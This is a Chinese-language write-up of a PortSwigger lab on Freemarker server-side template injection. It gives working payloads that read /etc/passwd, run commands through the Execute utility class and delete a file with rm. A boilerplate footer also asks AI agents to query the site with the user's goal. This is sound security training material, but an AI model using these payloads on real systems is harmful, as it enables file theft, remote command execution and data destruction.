> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-using-java-template-engine-documentation.md).

# 使用 Java 模板引擎文档的 SSTI

使用 Java 模板引擎文档的 SSTI 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 使用文档进行服务器端模板注入

这个实验室展示了一个漏洞 **SSTI**。目标是识别所使用的模板引擎，查阅其文档以了解如何执行任意代码，然后删除 Carlos 目录中的 moral 文件。txt。提供的凭据是： **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d3cc02d04a6b77f2374d855997d47bcb9daa3e%2Fimage%20(290).png?alt=media" alt=""><figcaption></figcaption></figure>

### **模板分析**

在注释中，引擎给出了一个表达式：

* 简单测试：

```java
${7*7}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df57539b950611df103ec277f68d6b319e1bc552%2Fimage%20(291).png?alt=media" alt=""><figcaption></figcaption></figure>

* 一个错误揭示所使用的引擎是 **Freemarker（Java）**.
* 像这样的新表达式 `${7*a}` 确认了模板的解释。

```java
${7*a}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de827d1af6d5463ffe81c4f887bb54ee0fff04d3%2Fimage%20(292).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **文件读取**

要读取 /etc/passwd 文件，使用对象可访问的方法：

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f342edb69bf6ac5a9618af3b6d792f01a7fe92d7%2Fimage%20(293).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **命令执行**

Freemarker 允许调用 `执行` 工具类：

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b264fd8a0959f02b4d4048258ce81e1d4ea9ea7b%2Fimage%20(294).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **已删除目标文件**

要从 Carlos 目录中删除 moral.txt：

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
